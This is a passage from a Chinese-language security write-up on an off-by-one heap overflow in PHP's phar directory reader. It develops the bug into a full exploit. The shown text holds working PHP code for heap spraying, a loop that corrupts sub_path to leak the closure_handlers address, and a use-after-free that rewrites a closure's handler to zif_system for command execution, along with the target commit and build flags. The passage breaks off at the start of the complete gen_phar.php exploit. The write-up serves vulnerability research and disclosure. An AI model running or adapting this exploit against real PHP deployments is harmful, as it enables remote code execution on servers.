class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(php_stream_dirent));</span><br><span class="line"><span class="built_in">memcpy</span>(((php_stream_dirent *) buf)-&gt;d_name, ZSTR_VAL(str_key), to_read);</span><br><span class="line">((php_stream_dirent *) buf)-&gt;d_name[to_read + <span class="number">1</span>] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">sizeof</span>(php_stream_dirent);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数用于<code>phar://</code>协议下读取文件夹中的内容. 这段代码出现的一些问题:</p><ol type="1"><li>后面的<code>memset</code>已经假设了<code>buf</code>的大小是<code>sizeof(php_stream_dirent)</code>. 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的<code>count</code>和<code>sizeof(php_stream_dirent)</code> 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.</li><li>注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下<code>sizeof(php_stream_dirent)</code>为<code>4096</code>. 当文件夹中存在一个文件名长度为<code>4096</code>的文件时, 在第13行这里即有<code>to_read == 4096</code>, 从而第14行这里的判断顺利通过了 (i.e., <code>count == ZSTR_LEN(str_key) == 4096</code>). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为<code>4096</code>, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在<code>d_name[to_read]</code>写<code>NULL</code>, 而不是<code>to_read + 1</code>. 这样就给我们带来在<code>buf + 4097</code>处写零的机会.</li></ol><p>经典的Off-by-one (two?), 这让我想到了著名的CVE-2019-11043[4], 值得一试.</p><h4 id="找利用点">找利用点</h4><p>根据<code>buf</code>所处的位置, 可以营造stack overflow和heap overflow, 进而有两种不同的利用方式. 根据常识利用Off-by-one关键是memory layout. 简要搜索一下, 有几个地方可以操作上述函数:</p><ol type="1"><li><code>buf</code>在stack上:<ol type="1"><li><code>openddir</code> + <code>readdir</code></li><li><code>scandir</code></li><li>libmagic 中的 <code>apprentice_load</code></li></ol></li><li><code>buf</code>在heap上:<ol type="1"><li><code>FilesystemIterator</code></li><li><code>DirectoryIterator</code></li><li><code>SplFileInfo</code></li><li><code>SplFileObject</code></li></ol></li></ol><p>因为绕不过canary并且不太好利用, 所以直接将stack overflow排除了, 只剩下了heap overflow.</p><h4 id="heap-overflow">Heap overflow</h4><p>上述4个类都是PHP标准库中操作文件夹的相关设施, 位于<code>ext/spl/spl_directory.c</code>. 它们底层都涉及一个比较关键的结构<code>_spl_filesystem_object</code>如下, 我略去了该结构中不太重要的字段.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">spl_filesystem_object</span> &#123;</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">            php_stream         *dirp;</span><br><span class="line">            php_stream_dirent  entry; <span class="comment">// overflow here</span></span><br><span class="line">            <span class="keyword">char</span>               *sub_path;</span><br><span class="line">            <span class="keyword">size_t</span>             sub_path_len;</span><br><span class="line">            <span class="comment">// ...</span></span><br><span class="line">        &#125; dir;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125; u;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>其中<code>_spl_filesystem_object.u.dir.entry</code>就是上述4个类在操作文件夹时<code>buf</code>所处的位置. 可以看到其后面紧跟着一个<code>sub_path</code>字段, 配合<code>sub_path_len</code>, 不难看出这里是一个binary-safe string结构. 试想如果利用overflow把<code>sub_path</code>某个字节覆写掉, 肯定可以带来一些新的契机. 这也是文章标题称之为《幸运的Off-by-one》.</p><h4 id="spl_filesystem_object-is-the-key">Spl_filesystem_object is the key</h4><p>这里我们首先需要知道一些关于<code>spl_filesystem_object.u.dir.entry</code>和<code>spl_filesystem_object.u.dir.sub_path</code>的操作.</p><p><strong>更新 <code>u.dir.entry</code> </strong>: 由这个函数可以触发overflow. 通过检查引用这个函数的地方, 看起来我们只需要拨动相关的Iterator即可触发这个函数.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ext/spl/spl_directory.c: 236</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">spl_filesystem_dir_read</span><span class="params">(spl_filesystem_object *intern)</span> <span class="comment">/* &#123;&#123;&#123; */</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!intern-&gt;u.dir.dirp || !php_stream_readdir(intern-&gt;u.dir.dirp, &amp;intern-&gt;u.dir.entry)) &#123;</span><br><span class="line">        intern-&gt;u.dir.entry.d_name[<span class="number">0</span>] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>读取 <code>u.dir.sub_path</code></strong> : 通过调用<code>RecursiveDirectoryIterator-&gt;getSubPath</code>即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ext/spl/spl_directory.c: 1530</span></span><br><span class="line">PHP_METHOD(RecursiveDirectoryIterator, getSubPath)</span><br><span class="line">&#123;</span><br><span class="line">    spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(ZEND_THIS);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (zend_parse_parameters_none() == FAILURE) &#123;</span><br><span class="line">        RETURN_THROWS();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (intern-&gt;u.dir.sub_path) &#123;</span><br><span class="line">        RETURN_STRINGL(intern-&gt;u.dir.sub_path, intern-&gt;u.dir.sub_path_len);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        RETURN_EMPTY_STRING();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>写入 <code>u.dir.sub_path</code> </strong>: 通过调用<code>RecursiveDirectoryIterator-&gt;getChildren</code>即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ext/spl/spl_directory.c: 1494</span></span><br><span class="line">PHP_METHOD(RecursiveDirectoryIterator, getChildren)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    <span class="keyword">if</span> (subdir) &#123;</span><br><span class="line">        <span class="comment">// 如果current directory也存在sub_path, 那么children的sub_path应为  parent_sub_path + parent_directory_name</span></span><br><span class="line">        <span class="keyword">if</span> (intern-&gt;u.dir.sub_path &amp;&amp; intern-&gt;u.dir.sub_path[<span class="number">0</span>]) &#123;</span><br><span class="line">            subdir-&gt;u.dir.sub_path_len = spprintf(&amp;subdir-&gt;u.dir.sub_path, <span class="number">0</span>, <span class="string">&quot;%s%c%s&quot;</span>, intern-&gt;u.dir.sub_path, slash, intern-&gt;u.dir.entry.d_name);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 反之, 此时children的sub_path应为parent_directory_name</span></span><br><span class="line">            subdir-&gt;u.dir.sub_path_len = <span class="built_in">strlen</span>(intern-&gt;u.dir.entry.d_name);</span><br><span class="line">            subdir-&gt;u.dir.sub_path = estrndup(intern-&gt;u.dir.entry.d_name, subdir-&gt;u.dir.sub_path_len);</span><br><span class="line">        &#125;</span><br><span class="line">        subdir-&gt;info_class = intern-&gt;info_class;</span><br><span class="line">        subdir-&gt;file_class = intern-&gt;file_class;</span><br><span class="line">        subdir-&gt;oth = intern-&gt;oth;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>释放 <code>u.dir.sub_path</code></strong>: 通过调用<code>unset($obj)</code>即可.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">spl_filesystem_object_free_storage</span><span class="params">(zend_object *object)</span> <span class="comment">/* &#123;&#123;&#123; */</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    <span class="keyword">case</span> SPL_FS_DIR:</span><br><span class="line">        <span class="keyword">if</span> (intern-&gt;u.dir.sub_path) &#123;</span><br><span class="line">            efree(intern-&gt;u.dir.sub_path);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="conditional-read-和-conditional-write-原语">conditional read 和 conditional write 原语</h4><p>这里我们没有任意读/写两个原语, 只有有条件的读/写.</p><p><strong>conditional read</strong></p><ol type="1"><li>在heap上放置大量需要需要读取的内存结构, 比如<code>zend_closure</code>. 让其中一些刚好落在拥有形如<code>00xx</code>前缀的地址上.</li><li>正常初始化<code>sub_path</code>, 控制好其大小, 落在可控内存结构的附近.</li><li>然后触发overflow, 将<code>sub_path</code>的第2个字节写NULL.</li><li>调用<code>RecursiveDirectoryIterator0-&gt;getSubPath</code>, 读取相关结构.</li></ol><p><strong>conditional write</strong> (UAF)</p><ol type="1"><li>在heap上放置大量的可控的内存结构, 比如<code>zend_string</code>. 让其中一些刚好落在拥有形如<code>00xx</code>前缀的地址上.</li><li>正常初始化<code>sub_path</code>, 控制好其大小, 落在可控内存结构的附近.</li><li>然后触发overflow, 将<code>sub_path</code>的第2个字节写NULL, 此时<code>sub_path</code>指向我们可控的内存结构.</li><li>构造UAF: 释放掉对应的iterator (<code>unset($obj)</code>).</li><li>在刚释放的内存上创建所需结构, 利用第一步中可控结构读写它.</li></ol><h4 id="增强-conditional-read-和-conditional-write-原语.">增强 conditional read 和 conditional write 原语.</h4><p>举个例子, 在conditional read中, 如果<code>sub_path</code>指向形如<code>0xdeadbeef</code>的地址, 那么我们只能读<code>0xdead00ef</code>处的内容. 意味着需要读取的内存结构需要落在它的附近. 这里有两个难点:</p><ol type="1"><li><p>如何让需要被写入或者被读入的内存结构落在拥有形如<code>00xx</code>前缀的地址上?</p></li><li><p>如何使得被改写的<code>sub_path</code>刚好指向拥有<code>00xx</code>前缀的地址上 ?</p></li></ol><p>在处理这两个问题之前, 我们需要熟悉一下PHP的内存管理.</p><ol type="1"><li>PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots (bins). 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256&lt; x &lt;=320的内存申请. 小内存的回收采用是经典地free_lists.</li><li>PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 然后用链表将这些chunks连接起来.</li></ol><p><strong>增强 conditional read</strong></p><p>对于第一个问题, 我们可以在heap上放置大量连续的相关内存结构, 这依赖于PHP独特的内存管理. 例如在conditional read中, 我们需要读取<code>zend_closure</code>中的<code>closure_handlders</code>值, 其中<code>sizeof(zend_closure) == 320</code>. 如果我们考虑用它将一个memory chunk填满, 可以利用的相关地址前置有.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="number">320</span>;</span><br><span class="line"><span class="keyword">for</span> (;<span class="variable">$a</span> &lt; <span class="number">0x200000</span>; <span class="variable">$a</span> += <span class="number">320</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (((<span class="variable">$a</span> &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xff</span>) == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> dechex(<span class="variable">$a</span>).<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>如果<code>0x10040</code>可控, 那么<code>0x10040</code>和<code>0x20080</code>之间就有<code>51</code>个bins可以用.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="number">0x10040</span>;</span><br><span class="line"><span class="variable">$i</span> = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$a</span> &lt; <span class="number">0x20080</span>) &#123;</span><br><span class="line">    <span class="variable">$a</span> += <span class="number">320</span>;</span><br><span class="line">    <span class="keyword">if</span> ((<span class="variable">$a</span> &amp; <span class="number">0xff</span>) == <span class="number">0x40</span>) &#123;</span><br><span class="line">        <span class="keyword">echo</span> dechex(<span class="variable">$a</span>).<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">        <span class="variable">$i</span>++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$j</span>++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$i</span> . <span class="string">&quot;\n&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$j</span> . <span class="string">&quot;\n&quot;</span>;</span><br></pre></td></tr></table></figure><p>换言之只要让<code>sub_path</code>指向到这<code>51</code>中的其中一个就可以了. 其中<code>0x10040</code>和<code>0x20080</code>之间有<code>205</code>这样的bins (size-320-bin), 这样我们有<code>1/4</code>的概率让<code>sub_path</code>指向正确的地方. 再换言之, 我们平均只需要尝试4次, 就可以做到, 事实也是如此. 这也是解决第二问题的方法.</p><p>所以比较在意是拿到形如<code>10040, 20080, 300c0...</code> 这其中的一个. 比较好的想法是我们在<strong>新的chunk</strong>上进行操作, 这样可以避免之前memory layout对我们的影响并且大概率覆盖上述地址. 为了使用<strong>新的chunk</strong>, 我们可以地连续申请超过一个chunk的相关内存结构. 比如这里我们需要申请超过<code>0x1999</code>个<code>zend_closure</code>, 在利用中我使用了<code>0x2024</code> (毕竟今年是2024 嘿嘿).</p><p><strong>增强 conditional write </strong></p><p>对于第一个问题, 我们同样在heap上放置大量我们可控的内存结构. 而对于第二个问题, 我们同样进行多次尝试. 这里有一个特别的是, 第二个问题解决方案中的多次尝试是确定性的. 因为heap上的内存结构我们可控, 使得我们可以在指定的位置上放置特定的内容来帮助我们判定<code>sub_path</code>有没有指向正确的位置. 比如我们希望<code>sub_path</code>正好落在地址<code>0x10040</code>上, 其中<code>0x10040</code>是我们可控的. 我们可以在<code>0x10040</code>处写入指定的字符串, 在进行UAF之前, 我们通过读取<code>sub_path</code>的内容, 来确保<code>sub_path</code>是指向正确的.</p><h4 id="利用细节">利用细节</h4><p>大致路线:</p><ol type="1"><li>通过conditional read泄露<code>system</code>函数地址.</li><li>通过conditional write将用户闭包函数修改为native函数<code>system</code></li></ol><p><strong>构造恶意的phar</strong></p><p>其中phar文件结构如下, 命名为<code>m2.phar</code>.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">├── CCCCCCC...CCC├</span><br><span class="line">                 ├── AAAA...AAA</span><br><span class="line">                 ├── BBBBBB...BBBBB</span><br></pre></td></tr></table></figure><ul><li><code>CCCCCCC...CCC</code>文件夹长度为<code>329</code> , 因为<code>zend_closure</code>是我们后面需要的重要结构, 它的大小为<code>320</code>. 考虑结尾的NULL字符.</li><li><code>AAAA...AAA</code> 正常文件和文件名. <code>RecursiveDirectoryIterator-&gt;__construct</code>会读取第一个文件作为预备, 我不希望在这一步发生overflow.</li><li><code>BBBBBB...BBBBB</code>文件名长度为<code>4096</code></li></ul><p><strong>触发overflow</strong></p><p>我们通过以下代码来触发overflow</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$it</span> = <span class="keyword">new</span> <span class="built_in">RecursiveDirectoryIterator</span>(<span class="string">&quot;phar://./m2.phar&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定位到`CCCCCCC...CCC`文件夹</span></span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$file</span>-&gt;isDir()) &#123;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320.</span></span><br><span class="line"><span class="variable">$sub_it</span> = <span class="variable">$it</span>-&gt;getChildren();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL.</span></span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$sub_it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;&#125;</span><br></pre></td></tr></table></figure><p><strong>泄露system函数地址</strong></p><p>这里我们还是老手法, 利用<code>zend_closure.std.zend_object_handlers</code> 位于(<code>Zend/zend_closures.c: 36</code>) 来泄露<code>closure_handlers</code> (位于 <code>Zend/zend_closures.c:46</code>) 的地址.</p><p>其中<code>zend_closure</code>通过创建闭包函数来生成, 即我们通过生成大量的闭包函数来填充heap.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$f_arr</span> = [];</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line"><span class="variable">$f_arr</span>[<span class="variable">$i</span>] = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;&#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后我们不断修改<code>sub_path</code>让其正好落在我们的申请某个<code>zend_closure</code>开头, 平均4次即可.</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">        <span class="variable">$it</span> = create_RDI();</span><br><span class="line">        <span class="variable">$sub_it</span> = <span class="variable">$it</span>-&gt;getChildren();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// preserve every iterator to avoid double freeing on sub_path</span></span><br><span class="line">        <span class="variable">$it_arr</span>[] = <span class="variable">$sub_it</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// trigger overflow</span></span><br><span class="line">        <span class="keyword">foreach</span>(<span class="variable">$sub_it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$sub_it</span>-&gt;getSubPath();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// refcounted &amp;&amp; is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001</span></span><br><span class="line">        <span class="keyword">if</span> (read64(<span class="variable">$data</span>, <span class="number">0</span>) == <span class="number">0x800000001</span>) &#123;</span><br><span class="line">            <span class="variable">$closure_handlers</span> = read64(<span class="variable">$data</span>, <span class="number">0x18</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>拿到了<code>closure_handlers</code>加上相关偏移地址, 我们就可以拿到<code>zif_system</code>的地址.</p><p><strong>修改闭包函数</strong></p><p>首先我们需要在heap上布置可控的内存结构</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$str_arr</span> = [];</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>] = str_repeat(<span class="string">&#x27;E&#x27;</span>, <span class="number">0x140</span> - <span class="number">0x20</span>);</span><br><span class="line">    <span class="comment">// 作为sub_path是否指向正确位置的unique identifier.</span></span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">0</span>] = <span class="string">&quot;I&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">1</span>] = <span class="string">&quot;L&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">2</span>] = <span class="string">&quot;I&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">3</span>] = <span class="string">&quot;K&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">4</span>] = <span class="string">&quot;E&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">5</span>] = <span class="string">&quot;P&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">6</span>] = <span class="string">&quot;H&quot;</span>;</span><br><span class="line">    <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">7</span>] = <span class="string">&quot;P&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>依然是不断修改<code>sub_path</code>让其正好落在我们的申请某个<code>zend_string</code>开头,</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">    <span class="comment">// init sub_path</span></span><br><span class="line">    <span class="variable">$it</span> = create_RDI();</span><br><span class="line">    <span class="variable">$sub_it</span> = <span class="variable">$it</span>-&gt;getChildren();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// trigger overflow</span></span><br><span class="line">    <span class="keyword">foreach</span>(<span class="variable">$sub_it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$sub_it</span>-&gt;getSubPath();</span><br><span class="line">    <span class="keyword">if</span> (substr(<span class="variable">$data</span>, <span class="number">0x18</span>, <span class="number">8</span>) == <span class="string">&quot;ILIKEPHP&quot;</span>) &#123;</span><br><span class="line">        <span class="comment">// trigger UAF</span></span><br><span class="line">        <span class="keyword">unset</span>(<span class="variable">$sub_it</span>);</span><br><span class="line">        <span class="variable">$f</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;&#125;;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// prevent double freeing</span></span><br><span class="line">        <span class="variable">$it_arr</span>[] = <span class="variable">$sub_it</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后修改我们可控的<code>zend_string</code>结构, 达到修改闭包函数的任务</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">    <span class="comment">// 1. function type: internal function</span></span><br><span class="line">    <span class="comment">// zend_closure.function.internal_function.type = 0x38</span></span><br><span class="line">    <span class="comment">// zend_string_header = 0x18</span></span><br><span class="line">    write8(<span class="variable">$str_arr</span>[<span class="variable">$i</span>], <span class="number">0x38</span> - <span class="number">0x18</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 2. function handler: zif_system</span></span><br><span class="line">    <span class="comment">// zend_closure.function.internal_function.handler = 0x70</span></span><br><span class="line">    <span class="comment">// zend_string_header = 0x18</span></span><br><span class="line">    write64(<span class="variable">$str_arr</span>[<span class="variable">$i</span>], <span class="number">0x70</span> - <span class="number">0x18</span>, <span class="variable">$zif_system</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="完整的exploitation">完整的Exploitation</h4><p>位于[3].</p><p>PHP版本commit: <code>be71cadc2f899bc39fe27098042139392e2187db</code></p><p>编译选项: <code>./configure --disable-all --enable-phar</code></p><p><strong>gen_phar.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 